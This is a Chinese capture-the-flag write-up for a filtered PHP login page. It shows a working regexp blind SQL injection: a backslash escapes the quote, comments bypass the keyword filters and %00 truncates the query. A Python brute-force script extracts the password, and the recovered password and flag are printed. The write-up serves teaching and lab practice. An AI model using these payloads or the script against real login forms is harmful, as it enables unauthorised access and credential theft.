打开是一个登录页面,尝试登录发现有过滤
    登录页面.PNG过滤.PNG

    利用bp fuzz一下发现大多部分的函数都被过滤
    过滤1.PNG

    在Kali利用dirsearch扫描一下网站目录发现了 robots.txt文件dir.PNG

    访问robots.txt发现有hint.txt,进行读取也发现了大量字符和函数被过滤掉,但是发现了只要$_POST[‘passwd’] === admin’s password就可以获得flagrobots.PNGhint.PNG

    因为很多关键字都被过滤掉,所以要利用 regexp 注入的方式

    构造payload:

    1. username=\&passwd=||passwd/**/regexp"^y";%00

    利用python脚本获取:

    1. import requests
    2. from urllib import parse
    3. import string
    4. url = 'http://bf0eb34d-458a-458d-9317-1ddd49bc3fd0.node4.buuoj.cn:81/'
    5. num = 0
    6. result = ''
    7. string= string.ascii_lowercase + string.digits + '_'#密码由小写字母 数字 下划线组成(实验证明
    8. for i in range (1,60):
    9. if num == 1 :
    10. break
    11. for j in string:
    12. data = {
    13. "username":"\\",#"\"转义"\"
    14. "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
    15. }
    16. print(result+j)
    17. res = requests.post(url=url,data=data)
    18. if 'welcome' in res.text:
    19. result += j
    20. break
    21. if j=='_' and 'welcome' not in res.text:
    22. break

    获得passwd:

    1. you_will_never_know7788990

    登录得到Flag:

    1. flag{0dc70fc3-143f-4e69-935c-99318dd60f6b}

    补充知识

    regexp盲注

    在sql语句中
    select database(); // 是输出当前打开的是数据库名
    database.png

    select database() regexp”^d”; // 这样可以匹配数据库名的开头是 d
    是就会返回 1 不是则返回0
    d.pnga.png

    当sql语句是这样
    select * from users where user=’’||password;
    p.png
    通过 ‘’||passwor dregexp”^8d” 的方式 不断匹配出数据当中 password的值
    全.png

    构造payload

    1. username=\&passwd=||passwd/**/regexp"^y";%00

    为什么要这么构造

    1. 页面上回显的sql语句
    2. select * from users where username='' and passwd=''
    3. 我们通过username 传入 \ 这样可以把'转义掉 变成这样
    4. select * from users where username='\' and passwd=''
    5. 此时的 \' and passwd=' 就成了 username的值
    6. 在通过传入 passwd 传入 ||passwd/**/regexp"^y";%00
    7. select * from users where username='\' and passwd='||passwd/**/regexp"^y";%00'
    8. 就和前置知识类似了
    9. select * from users where username=''||passwd/**/regexp"^y";%00'
    10. 后边的%00相当于截断了后边的字符,看了下php 对应版本为 5.2.16,存在截断漏洞,
    11. 接下来只需要遍历 regexp"^x" 中的 x即可

    payload:

    1. select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/\"^a\";%00'

    使’ and passwd=变成了我们提交的用户名 而密码||(手动内敛注释passwd(手动内敛注释regexp(手动内敛注释”^a”;%00’变成了数字型注入 也就是没有单引号 而;%00在url中也是注释的意思(或者说截断,也就是把最后的单引号也给注释了